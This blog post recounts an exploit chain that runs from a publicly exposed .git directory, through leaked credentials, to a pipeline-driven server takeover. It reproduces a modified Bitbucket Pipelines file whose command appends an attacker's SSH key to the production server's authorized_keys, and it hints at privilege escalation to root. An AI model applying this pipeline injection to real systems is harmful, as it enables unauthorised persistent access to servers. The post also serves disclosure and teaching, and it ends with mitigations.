Exploiting CI / CD Pipelines for fun and profit

Introduction

In today’s world of fast-paced development and continuous integration, security vulnerabilities can be easy to overlook. Recently, I discovered a severe exploit chain, starting from a publicly exposed .git directory, which led to a full server takeover. This blog will walk through the chain of events, outlining how each weak point compounded the issue.

Public Exposure of .git Directory

A surprising number of websites still expose their .git directories to the public. When scanning for such exposures on a target, I noticed that the .git folder was publicly accessible. This is a serious vulnerability because .git stores the entire version history of a project, including configuration files, which might contain sensitive information.

Impact: With access to .git/config, I found credentials, which opened the door to further exploitation. I could just clone the entire repository using the URL found inside the config file.

Exploring the Repository and Discovery of Bitbucket Pipelines

After cloning the repository using the found credentials, I began exploring the repository’s contents. In the process, I discovered that the code owners used Bitbucket Pipelines for deployment.

Bitbucket Pipelines allows you to automatically run code whenever someone interacts (pushes code, raises an issue, opens a PR and so on) with your repository. In this instance, the pipeline was set to log in to the production server, cd into the folder holding the source code, and run a git pull, which would update the running application’s source code. Here’s how a sample pipeline would look like:

pipelines:
  branches:
    master:
      - step:
          name: Update deployment
          script:
            - pipe: atlassian/ssh-run:0.2.8
              variables:
                SSH_USER: 'ubuntu'
                MODE: 'command'
                SERVER: 'damn.vulnerable.site'
                COMMAND: 'cd /path/to/app && git pull'

Key Findings: The pipeline configuration file revealed that SSH was being used to log into the production server as part of the automated deployment process.

Pushing Malicious Changes to the Pipeline

I modified the pipeline configuration to add my SSH key onto the production server’s authorized_keys file. By changing the pipeline configuration, I ensured that the next time the pipeline ran, my key would be added to the authorized SSH keys allowed to log in to the server. Here’s how my modified pipeline file looked like:

pipelines:
  branches:
    master:
      - step:
          name: Pushed to Master
          script:
            - pipe: atlassian/ssh-run:0.2.8
              variables:
                SSH_USER: 'ubuntu'
                MODE: 'command'
                SERVER: 'damn.vulnerable.site'
                COMMAND: 'mkdir -p /home/ubuntu/.ssh && echo ssh-rsa AAAA...snip...sw== >> /home/ubuntu/.ssh/authorized_keys && chmod 700 /home/ubuntu/.ssh && chmod 600 /home/ubuntu/.ssh/authorized_keys && cd /path/to/app && git pull'

SSH Access and Server Takeover

After committing my changes and pushing them back to the repository, I just had to wait for the pipeline to be run. After a few minutes, I attempted logging in to the server, and it gladly granted me shell access. From here, the server was effectively compromised, and I had full control over it.

Final Step: I logged into the server, confirmed the SSH access worked, and had the ability to execute any command.

For those with a keen eye, there’s also an immediate privilege escalation vulnerability which can be executed to gain root access.

Mitigation Strategies

Monitor your SSH keys. Regularly review who has access to your production servers and remove any unnecessary or outdated keys.

Never expose your .git directory publicly. Use server configurations to block access to this directory.

Conclusion

This exploit chain highlights the risks associated with public exposure of sensitive directories and improper handling of CI/CD pipelines. It serves as a reminder to developers and sysadmins to audit their code repositories, deployment pipelines and server configuration regularly to prevent such attacks.